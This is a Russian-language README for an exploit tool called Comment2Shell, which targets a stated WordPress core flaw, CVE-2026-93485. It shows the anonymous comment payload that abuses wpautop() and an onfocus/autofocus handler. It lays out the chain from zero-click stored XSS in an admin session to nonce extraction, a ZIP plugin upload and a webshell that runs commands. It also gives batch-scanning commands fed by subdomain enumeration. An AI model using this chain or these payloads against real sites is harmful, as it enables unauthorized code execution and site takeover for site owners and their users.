Цепочка эксплуатации WordPress CVE-2026-93485 с zero-click и pre-auth: хранимая XSS в wpautop() приводит к загрузке плагина через admin-сессию и самоудаляющемуся веб-шеллу, с сканером, шеллом и шаблоном Nuclei.
Comment2Shell — это сквозной proof-of-concept для CVE-2026-93485, хранимого XSS до аутентификации в ядре WordPress wpautop(), который повышается до удалённого выполнения кода в сессии администратора. Анонимный комментарий внедряет полезную нагрузку; когда администратор открывает запись, браузер загружает плагин-вебшелл, выполняет команду и снова удаляет шелл. Вся цепочка — один файл Python без зависимостей.
Comment2Shell — это эксплойт и набор для локальной лаборатории для CVE-2026-93485. Уязвимость находится в wp-includes/formatting.php, в фильтре абзацев wpautop(), который выполняется во время отображения текста комментария. Символ новой строки внутри атрибута blockquote cite превращается в заполнитель HTML-комментария; регулярное выражение, оборачивающее blockquote, останавливается на первом > и внедряет тег абзаца в середину атрибута, который браузер затем разбирает как обработчик onfocus. Атрибут autofocus запускает его без кликов.
Инструмент охватывает всю цепочку: пассивное сканирование версии, безопасную XSS-пробу, полный эксплойт от состояния до аутентификации до RCE, интерактивный шелл и защитную проверку IOC.
Эксплойту не нужны ни учётная запись, ни nonce, ни взаимодействие, кроме просмотра записи администратором. Комментарии должны быть просто открыты.
WordPress занимает значительную долю веба, а wpautop() — это код ядра, поэтому уязвимый фильтр присутствует в каждой затронутой установке независимо от темы или плагина. XSS является хранимым, выполняется до аутентификации и без кликов. Поскольку он выполняется в сессии администратора, это больше, чем порча сайта: cookie администратора достаточно для установки плагина, а установка плагина — это произвольное выполнение кода.
Исправление вышло в WordPress 7.1.1 с бэкпортами по 25 веткам, вплоть до 4.7.36. Затронут каждый выпуск с 4.7.0 по 7.1.0.
Запуск в контролируемой лаборатории против WordPress 7.1.0: анонимный комментарий внедряет полезную нагрузку, администратор, открывающий запись, запускает цепочку без кликов, вебшелл загружается, вывод команды возвращается, а шелл удаляет себя. Заголовок вкладки браузера сообщает результат: либо Comment2Shell: shell uploaded, либо Comment2Shell: admin login required. Точная процедура описана в docker/README.md.
Comment2Shell не претендует на обнаружение уязвимости. Она была сообщена Rafie Muhammad (Awesome Motive) через программу WordPress на HackerOne и исправлена в 7.1.1. Вклад здесь — воспроизводимая реализация полной цепочки без зависимостей:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Только стандартная библиотека Python 3.8+, без pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
Каждый объект результата содержит следующие поля:
| Поле | Значение |
|---|---|
target | нормализованный целевой URL |
wordpress | true, если обнаружен WordPress |
version | обнаруженная версия или null |
version_method | способ обнаружения версии, например meta или readme |
vulnerable | true, false или null, если версия неизвестна |
post_id | ID поста с возможностью комментирования или null |
error | строка ошибки или null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
Полезная нагрузка эксплойта срабатывает
alert("Comment2Shell XSS - CVE-2026-93485")при загрузке страницы (zero-click черезautofocus). Просмотрите пост, будучи авторизованным как администратор. Затем заголовок вкладки показываетComment2Shell: shell uploadedпри успехе илиComment2Shell: admin login required, если в браузере нет сессии администратора.